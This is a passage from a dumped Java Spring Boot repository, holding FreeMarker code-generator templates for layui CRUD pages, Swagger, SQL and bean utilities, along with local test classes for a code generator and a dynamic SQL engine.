    "content": "<!DOCTYPE html>\n<html>\n<body>\n<form class=\"layui-form p-page\">\n\t<h3 class=\"pb-3\">新增XXX信息</h3>\n\t<table class=\"layui-table layui-table-form\">\n\n    <input type=\"hidden\" name=\"${classInfo.className?uncap_first}Id\" value=\"\" class=\"layui-input\">\n\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n    <#list classInfo.fieldList as fieldItem >\n         <#assign counter = fieldItem_index + 1>\n        <#-- ${counter} - ${fieldItem} <br> -->\n        <#if counter%3 == 0><tr></#if>\n        <td class=\"layui-td-gray\">${fieldItem.fieldComment}</td>\n                    <td><input type=\"text\" name=\"${fieldItem.fieldName}\" autocomplete=\"off\" lay-verify=\"required\"  lay-reqtext=\"${fieldItem.fieldComment}不能为空\"\n                     placeholder=\"请输入${fieldItem.fieldComment}\"  class=\"layui-input\"></td>\n         <#--<tip>${fieldItem.fieldComment}</tip>-->\n<#if counter%3 == 0></tr></#if>\n    </#list>\n</#if>\n\n        <tr><td colspan=\"6\"><strong>备注信息</strong></td></tr>\n        <tr>\n            <td colspan=\"6\"><textarea name=\"remark\" placeholder=\"请输入备注信息\" class=\"layui-textarea\"></textarea></td>\n        </tr>\n\n    </table>\n    \t<div class=\"pt-4\">\n    \t\t<input type=\"hidden\" name=\"id\" value=\"0\"/>\n    \t\t<input type=\"hidden\" name=\"scene\" value=\"add\"/>\n    \t\t<button class=\"layui-btn layui-btn-normal\" lay-submit=\"\" lay-filter=\"webform\">立即提交</button>\n    \t\t<button type=\"reset\" class=\"layui-btn layui-btn-primary\">重置</button>\n    \t</div>\n    </form>\n<script src=\"￥{request.contextPath}/static/lib/layui-v2.5.5/layui.js\" charset=\"utf-8\"></script>\n<script>\n    layui.use(['form'], function () {\n        var form = layui.form,\n            layer = layui.layer,\n            $ = layui.$;\n\n        //监听提交\n        form.on('submit(saveBtn)', function (data) {\n            $.ajax({\n                type: 'POST',\n                url: \"￥{request.contextPath}/${classInfo.className?uncap_first}/save\",\n                data:JSON.stringify(data.field),\n                dataType: \"json\",\n                contentType: \"application/json\",\n                success: function (responseData) {\n                    if (responseData.code === 200) {\n                        layer.msg(responseData.msg, function () {\n                            // 关闭弹出层\n                            //layer.close(index);\n                            var iframeIndex = parent.layer.getFrameIndex(window.name);\n                            parent.layer.close(iframeIndex);\n                            parent.searchBtn.click();\n                        });\n                    } else {\n                        layer.msg(responseData.msg, function () {\n                            //window.location = '/index.html';\n                        });\n                    }\n                }\n            });\n            return false;\n        });\n\n    });\n</script>\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/ui/${classInfo.className}layui-list.html.ftl",
    "content": "<!DOCTYPE html>\n<html>\n<body>\n<div class=\"layuimini-container\">\n    <div class=\"layuimini-main\">\n\n        <fieldset class=\"table-search-fieldset\">\n            <legend>搜索信息</legend>\n            <div style=\"margin: 10px 10px 10px 10px\">\n                <form class=\"layui-form layui-form-pane\" action=\"\">\n                    <div class=\"layui-form-item\">\n                        <div class=\"layui-inline\">\n                            <label class=\"layui-form-label\">${classInfo.classComment}Id</label>\n                            <div class=\"layui-input-inline\">\n                                <input type=\"text\" name=\"${classInfo.className?uncap_first}Id\" autocomplete=\"off\" class=\"layui-input\">\n                            </div>\n                        </div>\n                        <div class=\"layui-inline\">\n                            <label class=\"layui-form-label\">${classInfo.classComment}名称</label>\n                            <div class=\"layui-input-inline\">\n                                <input type=\"text\" name=\"${classInfo.className?uncap_first}Name\" autocomplete=\"off\" class=\"layui-input\">\n                            </div>\n                        </div>\n                        <div class=\"layui-inline\">\n                            <button id=\"searchBtn\" type=\"submit\" class=\"layui-btn layui-btn-primary\" lay-submit  lay-filter=\"data-search-btn\"><i class=\"layui-icon\"></i> 搜 索</button>\n                        </div>\n                    </div>\n                </form>\n            </div>\n        </fieldset>\n\n        <script type=\"text/html\" id=\"toolbarDemo\">\n            <div class=\"layui-btn-container\">\n                <button class=\"layui-btn layui-btn-normal layui-btn-sm data-add-btn\" lay-event=\"add\">  <i class=\"layui-icon layui-icon-addition\"></i>${classInfo.classComment} </button>\n               <#-- <button class=\"layui-btn layui-btn-normal layui-btn-sm layui-btn-danger data-delete-btn\" lay-event=\"del\"> 删除${classInfo.classComment} </button>-->\n            </div>\n        </script>\n\n        <table class=\"layui-hide\" id=\"currentTableId\" lay-filter=\"currentTableFilter\"></table>\n\n        <script type=\"text/html\" id=\"currentTableBar\">\n            <a class=\"layui-btn layui-btn-xs data-count-edit\" lay-event=\"edit\">编辑</a>\n            <a class=\"layui-btn layui-btn-xs layui-btn-danger data-count-delete\" lay-event=\"delete\">删除</a>\n        </script>\n\n        <script type=\"text/html\" id=\"typeTemplate\">\n            {{#  if(d.type == '1'){ }}\n            常规\n            {{#  } else if(d.type =='2') { }}\n            专项\n            {{#  } else { }}\n            其它\n            {{#  } }}\n        </script>\n        <script type=\"text/html\" id=\"statusTemplate\">\n            {{#  if(d.status == '1' ){ }}\n            <i class=\"layui-icon layui-icon-ok\"></i>已发布\n            {{#  } else { }}\n            - 未发布\n            {{#  } }}\n        </script>\n    </div>\n</div>\n<script src=\"￥{request.contextPath}/static/lib/layui-v2.5.5/layui.js\" charset=\"utf-8\"></script>\n<script>\n    layui.use(['form', 'table'], function () {\n        var $ = layui.jquery,\n            form = layui.form,\n            table = layui.table;\n\n        table.render({\n            elem: '#currentTableId',\n            method: 'post',\n            url: '￥{request.contextPath}/${classInfo.className?uncap_first}/list',\n            toolbar: '#toolbarDemo',\n            defaultToolbar: ['filter', 'exports', 'print', {\n                title: '提示',\n                layEvent: 'LAYTABLE_TIPS',\n                icon: 'layui-icon-tips'\n            }],\n            cols: [[\n                {type: \"checkbox\", width: 50, fixed: \"left\"},\n                <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n                <#list classInfo.fieldList as fieldItem >\n                    {field: '${fieldItem.fieldName}', title: '${fieldItem.fieldComment}', align: 'center', width: 100,sort: true,hide: false}, <#if fieldItem_has_next> </#if>\n                </#list>\n                </#if>\n                /* 需要时间请自行解封\n                {title: '创建时间', sort: true,templet: \"<div>{{layui.util.toDateString(d.createTime, 'yyyy-MM-dd')}}</div>\"},\n                {title: '修改时间', sort: true,templet: \"<div>{{layui.util.toDateString(d.updateTime, 'yyyy-MM-dd')}}</div>\"},\n                */\n                {title: '操作', minWidth: 400, templet: '#currentTableBar', fixed: \"right\", align: \"center\"}\n            ]],\n            limits: [20 , 50 , 100],\n            limit: 20,\n            page: true\n        });\n\n        var result;\n        /**\n         * submit(data-search-btn):监听搜索操作\n         */\n        form.on('submit(data-search-btn)', function (data) {\n            result = JSON.stringify(data.field);\n\n            //执行搜索重载\n            table.reload('currentTableId', {\n                page: {\n                    curr: 1\n                }\n                , where: {\n                    searchParams: result\n                }\n            }, 'data');\n\n            return false;\n        });\n\n        var searchBtn = $(\"#searchBtn\");\n        /**\n         * toolbar监听事件:表格添加按钮\n         */\n        table.on('toolbar(currentTableFilter)', function (obj) {\n            if (obj.event === 'add') {\n                var index = layer.open({\n                    title: '添加',\n                    type: 2,\n                    shade: 0.2,\n                    maxmin:true,\n                    shadeClose: true,\n                    area: ['1000px', '700px'],\n                    content: '￥{request.contextPath}/${classInfo.className?uncap_first}/edit?id=0',\n                });\n                return false;\n            }else if(obj.event === 'del') {\n                var checkStatus = table.checkStatus('currentTableId')\n                    , data = checkStatus.data;\n                layer.alert(JSON.stringify(data));\n            }\n        });\n        /**\n         * checkbox(currentTableFilter):表格复选框选择\n         */\n        table.on('checkbox(currentTableFilter)', function (obj) {\n            //console.log(obj)\n        });\n\n        /**\n         * tool监听事件:表格编辑删除等功能按钮\n         */\n        table.on('tool(currentTableFilter)', function (obj) {\n            var data = obj.data;\n            if (obj.event === 'edit') {\n                var index = layer.open({\n                    title: '编辑',\n                    type: 2,\n                    shade: 0.2,\n                    maxmin:true,\n                    shadeClose: true,\n                    area: ['1000px', '700px'],\n                    content: '￥{request.contextPath}/${classInfo.className?uncap_first}/edit?id='+obj.data.${classInfo.className?uncap_first}Id,\n                });\n                return false;\n            } else if (obj.event === 'delete') {\n                layer.confirm('确认删除该记录吗？', function (index) {\n                    $.ajax({\n                        type: 'POST',\n                        url: \"￥{request.contextPath}/${classInfo.className?uncap_first}/delete\",\n                        data:{\"id\":obj.data.${classInfo.className?uncap_first}Id},\n                        success: function (responseData) {\n                            if (responseData.code === 200) {\n                                layer.msg(responseData.msg, function () {\n                                    obj.del();\n                                });\n                            } else {\n                                layer.msg(responseData.msg, function () {\n                                });\n                            }\n                        }\n                    });\n                    layer.close(index);\n                });\n            }else if (obj.event === 'publish') {\n                layer.confirm('确定要发布吗？', function (index) {\n                    $.ajax({\n                        type: 'POST',\n                        url: \"￥{request.contextPath}/${classInfo.className?uncap_first}/publish\",\n                        data:{\"id\":obj.data.${classInfo.className?uncap_first}Id,\"status\":\"1\"},\n                        success: function (responseData) {\n                            searchBtn.click();\n                            layer.msg(responseData.msg, function () {\n                            });\n                        }\n                    });\n                    layer.close(index);\n                });\n            }else if (obj.event === 'unpublish') {\n                layer.confirm('确定要停止吗？', function (index) {\n                    $.ajax({\n                        type: 'POST',\n                        url: \"￥{request.contextPath}/${classInfo.className?uncap_first}/publish\",\n                        data:{\"id\":obj.data.${classInfo.className?uncap_first}Id,\"status\":\"0\"},\n                        success: function (responseData) {\n                            searchBtn.click();\n                            layer.msg(responseData.msg, function () {\n                            });\n                        }\n                    });\n                    layer.close(index);\n                });\n            }\n        });\n\n    });\n</script>\n<script>\n\n</script>\n\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/ui/${classInfo.className}swagger.json.ftl",
    "content": "@ApiOperation(value = \"${classInfo.classComment}\", notes = \"${classInfo.classComment}\")\n    @ApiImplicitParams({\n            <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n                <#list classInfo.fieldList as fieldItem >\n                @ApiImplicitParam(name = \"${fieldItem.fieldName}\", value = \"${fieldItem.fieldComment}\", required = false, dataType = \"${fieldItem.fieldClass}\")<#if fieldItem_has_next>,</#if>\n                </#list>\n            </#if>\n    }\n    )\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/util/${classInfo.className}beanutil.java.ftl",
    "content": "/**\n* ${classInfo.classComment}对象Get Set\n* @author ${authorName} ${.now?string('yyyy-MM-dd')}\n*/\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem>\n// ${fieldItem.fieldComment}\n${fieldItem.fieldClass} ${fieldItem.fieldName} = ${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}();\n</#list>\n\n<#list classInfo.fieldList as fieldItem>\n// ${fieldItem.fieldComment}\n${classInfo.className?uncap_first}.set${fieldItem.fieldName?cap_first}();\n</#list>\n\n<#list classInfo.fieldList as fieldItem>\n// ${fieldItem.fieldComment}\n${classInfo.className?uncap_first}.set${fieldItem.fieldName?cap_first}(${classInfo.className?uncap_first}2.get${fieldItem.fieldName?cap_first}());\n</#list>\n\n<#list classInfo.fieldList as fieldItem>\n// ${fieldItem.fieldComment}\nmap.put(\"${fieldItem.fieldName?uncap_first}\",${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}());\n</#list>\n\n<#list classInfo.fieldList as fieldItem>\n// ${fieldItem.fieldComment}\nmap.put(\"${fieldItem.columnName}\",${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}());\n</#list>\n\n<#list classInfo.fieldList as fieldItem>\nmap.put(\"${fieldItem.fieldComment}\",${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}());\n</#list>\n\n<#list classInfo.fieldList as fieldItem>\n// ${fieldItem.fieldComment}\nmap.put(\"${fieldItem.fieldName?uncap_first}\",${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}());\n</#list>\n\n</#if>\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/util/${classInfo.className}json.json.ftl",
    "content": "<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n{\n<#list classInfo.fieldList as fieldItem>\n \"${fieldItem.fieldName}\":\"${fieldItem.fieldComment}\"<#if fieldItem_has_next>,</#if>\n</#list>\n}\n\n{\n<#list classInfo.fieldList as fieldItem>\n \"${fieldItem.fieldName}\":\"\"<#if fieldItem_has_next>,</#if>\n</#list>\n}\n</#if>\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/util/${classInfo.className}sql.sql.ftl",
    "content": "\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n #SQL横向select\n    SELECT <#list classInfo.fieldList as fieldItem >t.${fieldItem.columnName}<#if fieldItem_has_next>,</#if></#list>\n    FROM ${classInfo.tableName} t;\n\n #CSV横向字段名\n    <#list classInfo.fieldList as fieldItem >${fieldItem.columnName}<#if fieldItem_has_next>,</#if></#list>\n</#if>\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n#LEFT JOIN\n    SELECT\n        *\n    FROM\n    ${classInfo.tableName} a\n    LEFT JOIN ${classInfo.tableName} b\n    ON a.${classInfo.tableName}_id=b.${classInfo.tableName}_id\n    WHERE 1=1;\n</#if>\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n#INSERT INTO\n    INSERT INTO ${classInfo.tableName} ( <#list classInfo.fieldList as fieldItem >${fieldItem.columnName}<#if fieldItem_has_next>,</#if></#list> )\n    VALUES\n    (\n    <#list classInfo.fieldList as fieldItem >''<#if fieldItem_has_next>,</#if></#list>\n    );\n</#if>\n\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n#关联更新\n    UPDATE ${classInfo.tableName} a\n    JOIN ${classInfo.tableName}_join b ON a.${classInfo.tableName}_id = b.${classInfo.tableName}_id\n    SET <#list classInfo.fieldList as fieldItem > a.${fieldItem.columnName} = b.${fieldItem.columnName}<#if fieldItem_has_next>,</#if> </#list>\n    WHERE\n    b.${classInfo.tableName}_id IS NOT NULL;\n\n    UPDATE ${classInfo.tableName} a,${classInfo.tableName}_join b\n    SET <#list classInfo.fieldList as fieldItem > a.${fieldItem.columnName} = b.${fieldItem.columnName}<#if fieldItem_has_next>,</#if> </#list>\n    WHERE a.${classInfo.tableName}_id = b.${classInfo.tableName}_id;\n\n#普通update\n    UPDATE ${classInfo.tableName}\n    SET\n    <#list classInfo.fieldList as fieldItem >\n        ${fieldItem.columnName} = ''<#if fieldItem_has_next>,</#if>\n    </#list>\n    WHERE\n    <#list classInfo.fieldList as fieldItem >\n        ${fieldItem.columnName} = ''<#if fieldItem_has_next>,</#if>\n    </#list>;\n</#if>\n\n\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n#关联删除\n    delete a from ${classInfo.tableName}_del as a inner join ${classInfo.tableName} as b\n    where a.${classInfo.tableName}_id=b.${classInfo.tableName}_id;\n\n#普通删除\n    DELETE\n    FROM\n    ${classInfo.tableName}\n    WHERE\n    <#list classInfo.fieldList as fieldItem >\n        ${fieldItem.columnName} = ''<#if fieldItem_has_next>,</#if>\n    </#list>;\n\n</#if>\n\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/util/${classInfo.className}swagger.yml.ftl",
    "content": "\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n${classInfo.className}:\n  type: \"object\"\n  properties:\n<#list classInfo.fieldList as fieldItem >\n    ${fieldItem.fieldName}:\n      type: ${fieldItem.swaggerClass}\n      description:  <#if isComment?exists && isComment==true>\"${fieldItem.fieldComment}\"</#if>\n</#list>\n</#if>\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/util/${classInfo.className}xml.xml.ftl",
    "content": "<!--\n ${classInfo.classComment}对象Get Set\n @author ${authorName} ${.now?string('yyyy-MM-dd')}\n-->\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<${classInfo.className}>\n<#list classInfo.fieldList as fieldItem>\n <${fieldItem.fieldName}>${fieldItem.fieldComment}</${fieldItem.fieldName}>\n</#list>\n</${classInfo.className}>\n</#if>\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/test/datas/test_data_system_in.txt",
    "content": "import java.util.Scanner;\npublic class Run {\n    public static void main(String[] args) {\n        Scanner in = new Scanner(System.in);\n        System.out.println(in.nextInt());\n        System.out.println(in.nextDouble());\n        System.out.println(in.next());\n    }\n}\n\n1 1.5\nfsdfasdfasdf"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/test/java/io/github/wujun728/code/CodeUtilTest.java",
    "content": "package io.github.wujun728.code;\n\nimport cn.hutool.core.map.MapUtil;\nimport io.github.wujun728.db.utils.DataSourcePool;\nimport io.github.wujun728.generator.CodeUtil;\nimport lombok.extern.slf4j.Slf4j;\n\nimport javax.sql.DataSource;\n\n@Slf4j\npublic class CodeUtilTest {\n\n    public static void main(String[] args) {\n        //testAllGroup();\n        testDbRecordGroup();\n    }\n\n    private static void testDbRecordGroup() {\n        String url = \"jdbc:mysql://localhost:3306/test?useUnicode=true&characterEncoding=UTF-8&useSSL=true&serverTimezone=UTC&useInformationSchema=true\";\n        String username = \"root\";\n        String password = \"\";\n        String driver = \"com.mysql.cj.jdbc.Driver\";\n        DataSource ds = DataSourcePool.init(\"main\",url,username,password,driver);\n        CodeUtil.customeConfig = MapUtil.ofEntries(MapUtil.entry(CodeUtil.authorName,\"wujun\"),MapUtil.entry(CodeUtil.packageName,\"com.hp.test1\"));\n        String absPath = \"D:\\\\workspace\\\\github\\\\jun_code_generator\\\\jun-code-generator\\\\src\\\\main\\\\java\";\n        CodeUtil.genCodeFile(ds,\"biz_test\",absPath, CodeUtil.GROUP_DB_RECORD);\n    }\n\n    private static void testAllGroup() {\n        String url = \"jdbc:mysql://localhost:3306/db_qixing_bk?useUnicode=true&characterEncoding=UTF-8&useSSL=true&serverTimezone=UTC&useInformationSchema=true\";\n        String username = \"root\";\n        String password = \"\";\n        String driver = \"com.mysql.cj.jdbc.Driver\";\n        DataSource ds = DataSourcePool.init(\"main\",url,username,password,driver);\n//        CodeUtil.genCode(ds,\"biz_mail\",CodeUtil.MYBATIS_PLUG_VO_JAVA);\n//        CodeUtil.genCode(ds,\"biz_mail\",CodeUtil.MYBATIS_PLUG_CONTROLLER_JAVA);\n//        CodeUtil.genCode(ds,\"biz_mail\",CodeUtil.UTIL_SQL);\n//        CodeUtil.genCodeFile(ds,\"biz_mail\",\"D:/jva/test\", CodeUtil.BEETLSQL_BEETLCONTROLLER);\n        CodeUtil.customeConfig = MapUtil.ofEntries(MapUtil.entry(CodeUtil.authorName,\"wujun\"),MapUtil.entry(CodeUtil.packageName,\"io.github.wujun728.test1\"));\n        CodeUtil.genCodeFile(ds,\"biz_mail\",\"D:/java1/test\", CodeUtil.GROUP_BEETLSQL);\n        CodeUtil.genCodeFile(ds,\"biz_mail\",\"D:/java1/test\", CodeUtil.GROUP_JPA);\n        CodeUtil.genCodeFile(ds,\"biz_mail\",\"D:/java1/test\", CodeUtil.GROUP_JDBCTEMPLATE);\n        CodeUtil.genCodeFile(ds,\"biz_mail\",\"D:/java1/test\", CodeUtil.GROUP_MYBATIS);\n        CodeUtil.genCodeFile(ds,\"biz_mail\",\"D:/java1/test\", CodeUtil.GROUP_MYBATIS_PLUG_NO1);\n        CodeUtil.genCodeFile(ds,\"biz_mail\",\"D:/java1/test\", CodeUtil.GROUP_MYBATISPLUS);\n        CodeUtil.genCodeFile(ds,\"biz_mail\",\"D:/java1/test\", CodeUtil.GROUP_UI);\n        CodeUtil.genCodeFile(ds,\"biz_mail\",\"D:/java1/test\", CodeUtil.GROUP_UTIL);\n        CodeUtil.genCodeFile(ds,\"biz_mail\",\"D:/java1/test\", CodeUtil.GROUP_DB_RECORD);\n//        CodeUtil.genCodeFile(ds,\"biz_mail\",CodeUtil.MYBATIS_PLUG_SINGLE_VO_JAVA,\"D:/jva/test\");\n\n\n//        CodeUtil.genCode(ds,\"biz_mail\",CodeUtil.JDBCTEMPLATE_JTDAO);\n//        CodeUtil.genCode(ds,\"biz_mail\",CodeUtil.JDBCTEMPLATE_JTDAOIMPL);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/test/java/io/github/wujun728/sql/TestSqlUser.java",
    "content": "package io.github.wujun728.sql;\n\nimport cn.hutool.json.JSONUtil;\nimport cn.hutool.log.StaticLog;\nimport com.alibaba.druid.pool.DruidDataSource;\nimport io.github.wujun728.sql.engine.DynamicSqlEngine;\nimport io.github.wujun728.sql.utils.JdbcUtil;\n//import org.junit.Test;\n\nimport javax.sql.DataSource;\nimport java.sql.SQLException;\nimport java.util.*;\nimport java.util.concurrent.ConcurrentHashMap;\n\npublic class TestSqlUser {\n    public static void main(String[] args) throws SQLException {\n\n        String jdbcUrl = \"jdbc:mysql://localhost:3306/db_qixing_bk\" +\n                \"?useUnicode=true&useSSL=false&characterEncoding=utf8&serverTimezone=GMT%2b8&zeroDateTimeBehavior=convertToNull&useInformationSchema=true\";\n        DataSource ds = init(\"ds1\",jdbcUrl,\"root\",\"\",\"com.mysql.cj.jdbc.Driver\");\n\n        Map params = new HashMap();\n        //params.put(\"id\",10);\n        Object obj = JdbcUtil.executeSql(ds.getConnection(),\"select * from biz_test\" +\n                \"  <if test='id!=null'>  where id = #{id}  </if> \",params,true);\n        StaticLog.info(JSONUtil.toJsonStr(obj));\n        StaticLog.info(\"\");\n    }\n\n    static ConcurrentHashMap<String, DataSource> map = new ConcurrentHashMap<>();\n    public static DataSource init(String dsname,String url,String username,String password,String driver) {\n        if (map.containsKey(dsname)) {\n            return map.get(dsname);\n        } else {\n            try {\n                if (!map.containsKey(dsname)) {\n                    DruidDataSource druidDataSource = new DruidDataSource();\n                    druidDataSource.setName(dsname);\n                    druidDataSource.setUrl(url);\n                    druidDataSource.setUsername(username);\n                    druidDataSource.setPassword(password);\n                    druidDataSource.setDriverClassName(driver);\n                    druidDataSource.setConnectionErrorRetryAttempts(3);       //失败后重连次数\n                    druidDataSource.setBreakAfterAcquireFailure(true);\n                    map.put(dsname, druidDataSource);\n\n                }\n                return map.get(dsname);\n            } catch (Exception e) {\n                return null;\n            } finally {\n            }\n        }\n    }\n\n    //@Test\n    public void testSubMap() {\n        DynamicSqlEngine engine = new DynamicSqlEngine();\n        String sql = \"id &lt;= #{maxId.maxId}\";\n        \n        Map<String, Object> submap = new HashMap<>();\n        submap.put(\"maxId\", 10);\n        Map<String, Object> map = new HashMap<>();\n        map.put(\"maxId\", submap);\n        \n\n        SqlMeta sqlMeta = engine.parse(sql, map);\n        System.out.println(\"testSubMap\"+sqlMeta.getSql());\n        sqlMeta.getJdbcParamValues().forEach(System.out::println);\n\n    }\n    //@Test\n    public void testIf() {\n    \tDynamicSqlEngine engine = new DynamicSqlEngine();\n    \tString sql = \"id &lt;= #{maxId}\";\n    \tMap<String, Object> map = new HashMap<>();\n    \tmap.put(\"maxId\", 10);\n    \t\n    \tSqlMeta sqlMeta = engine.parse(sql, map);\n    \tSystem.out.println(sqlMeta.getSql());\n    \tsqlMeta.getJdbcParamValues().forEach(System.out::println);\n    \t\n    }\n\n    //@Test\n    public void testTrim() {\n        DynamicSqlEngine engine = new DynamicSqlEngine();\n        String sql = \"<trim prefix='(' suffix=')' suffixesToOverride=',' prefixesToOverride='and' ><foreach collection='list' index='idx' open='(' separator=',' close=')'>#{item.name}== #{idx}</foreach><if test='id!=null'>  and xyz.,</if></trim>\";\n        Map<String, Object> map = new HashMap<>();\n        map.put(\"id\", 2);\n        ArrayList<User> arrayList = new ArrayList<>();\n        arrayList.add(new User(10, \"tom\"));\n        arrayList.add(new User(11, \"jerry\"));\n        map.put(\"list\", arrayList);\n\n        SqlMeta sqlMeta = engine.parse(sql, map);\n        System.out.println(sqlMeta.getSql());\n        sqlMeta.getJdbcParamValues().forEach(System.out::println);\n    }\n\n    //@Test\n    public void testWhere() {\n        DynamicSqlEngine engine = new DynamicSqlEngine();\n        String sql = \"<where><if test='id!=null'>  and id = #{id}</if><if test='id!=null'>  and id = #{id}</if></where>\";\n        Map<String, Object> map = new HashMap<>();\n        map.put(\"id\", 2);\n        ArrayList<User> arrayList = new ArrayList<>();\n        arrayList.add(new User(10, \"tom\"));\n        arrayList.add(new User(11, \"jerry\"));\n        map.put(\"list\", arrayList);\n\n        SqlMeta sqlMeta = engine.parse(sql, map);\n        System.out.println(sqlMeta.getSql());\n        sqlMeta.getJdbcParamValues().forEach(System.out::println);\n    }\n\n    //@Test\n    public void testForeach() {\n        DynamicSqlEngine engine = new DynamicSqlEngine();\n        String sql = (\"select * from user where name in <foreach collection='list' index='idx' open='(' separator=',' close=')'>#{item.name}== #{idx}</foreach>\");\n        Map<String, Object> map = new HashMap<>();\n\n        ArrayList<User> arrayList = new ArrayList<>();\n        arrayList.add(new User(10, \"tom\"));\n        arrayList.add(new User(11, \"jerry\"));\n        map.put(\"list\", arrayList.toArray());\n\n        SqlMeta sqlMeta = engine.parse(sql, map);\n        System.out.println(sqlMeta.getSql());\n        sqlMeta.getJdbcParamValues().forEach(System.out::println);\n    }\n\n    //@Test\n    public void testForeachIF() {\n        DynamicSqlEngine engine = new DynamicSqlEngine();\n        String sql = (\"select * from user where name in <foreach collection='list' index='idx' open='(' separator=',' close=')'>#{item.name}== #{idx}<if test='id!=null'>  and id = #{id}</if></foreach>\");\n        Map<String, Object> map = new HashMap<>();\n\n        ArrayList<User> arrayList = new ArrayList<>();\n        arrayList.add(new User(10, \"tom\"));\n        arrayList.add(new User(11, \"jerry\"));\n        map.put(\"list\", arrayList.toArray());\n        map.put(\"id\", 100);\n\n        SqlMeta sqlMeta = engine.parse(sql, map);\n        System.out.println(sqlMeta.getSql());\n        sqlMeta.getJdbcParamValues().forEach(System.out::println);\n    }\n\n/*\n    //@Test\n    public void testForeachMap() {\n        DynamicSqlEngine engine = new DynamicSqlEngine();\n        String sql = (\"<foreach collection='users' open='(' separator=',' close=')'>#{item}</foreach>\");\n        Map<String, Object> map = new HashMap<>();\n\n        Map<String, Object> users = new HashMap<String, Object>() {\n            {\n                put(\"aaa\", \"a1\");\n                put(\"bbb\", \"b1\");\n            }\n        };\n\n        map.put(\"users\", users);\n\n        SqlMeta sqlMeta = engine.parse(sql, map);\n        System.out.println(sqlMeta.getSql());\n        sqlMeta.getJdbcParamValues().forEach(System.out::println);\n    }\n*/\n\n    //@Test\n    public void testMultiForeach() {\n        DynamicSqlEngine engine = new DynamicSqlEngine();\n        String sql = (\"<foreach collection='list' open='(' separator=',' close=')'>#{item}</foreach><foreach collection='list2' open='{' separator=',' close='}'>#{item}</foreach>\");\n        Map<String, Object> map = new HashMap<>();\n\n        ArrayList<String> list = new ArrayList<String>() {{\n            add(\"a\");\n            add(\"b\");\n        }};\n\n        map.put(\"list\", list);\n\n        ArrayList<String> list2 = new ArrayList<String>() {{\n            add(\"c\");\n            add(\"d\");\n        }};\n\n        map.put(\"list2\", list2.toArray());\n\n        SqlMeta sqlMeta = engine.parse(sql, map);\n        System.out.println(sqlMeta.getSql());\n        sqlMeta.getJdbcParamValues().forEach(System.out::println);\n    }\n\n    //@Test\n    public void testSet() {\n        DynamicSqlEngine engine = new DynamicSqlEngine();\n        String sql = (\"update<set><if test='id !=null'> id = #{id} ,</if><if test='id !=null'> id = #{id} , </if></set>\");\n        Map<String, Object> map = new HashMap<>();\n        map.put(\"id\",10);\n        SqlMeta sqlMeta = engine.parse(sql, map);\n        System.out.println(sqlMeta.getSql());\n        sqlMeta.getJdbcParamValues().forEach(System.out::println);\n\n    }\n\n    //@Test\n    public void testParseParam() {\n        DynamicSqlEngine engine = new DynamicSqlEngine();\n        String sql = (\"<foreach collection='list' open='(' separator=',' close=')'>#{item.name} #{item} #{id} ${indexName} </foreach><where><if test='id!=null'>  and id = #{mid}</if> ${name}</where>\");\n        Set<String> set = engine.parseParameter(sql);\n        set.stream().forEach(System.out::println);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/test/java/io/github/wujun728/sql/User.java",
    "content": "package io.github.wujun728.sql;\n\npublic class User {\n    Integer id;\n    String name;\n\n    public User(Integer id, String name) {\n        this.id = id;\n        this.name = name;\n    }\n\n    public Integer getId() {\n        return id;\n    }\n\n    public void setId(Integer id) {\n        this.id = id;\n    }\n\n    public String getName() {\n        return name;\n    }\n\n    public void setName(String name) {\n        this.name = name;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/test/java/io/github/wujun728/stater/groovy/GroovyApplicationTests.java",
    "content": "//package io.github.wujun728.stater.groovy;\n//\n//import org.junit.Test;\n//import org.junit.runner.RunWith;\n//import org.springframework.boot.test.context.SpringBootTest;\n//import org.springframework.test.context.junit4.SpringRunner;\n//\n//@RunWith(SpringRunner.class)\n//@SpringBootTest\n//public class GroovyApplicationTests {\n//\n//    @Test\n//    public void contextLoads() {\n//    }\n//\n//}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/test/java/io/github/wujun728/stater/groovy/GroovyScriptControllerTest.java",
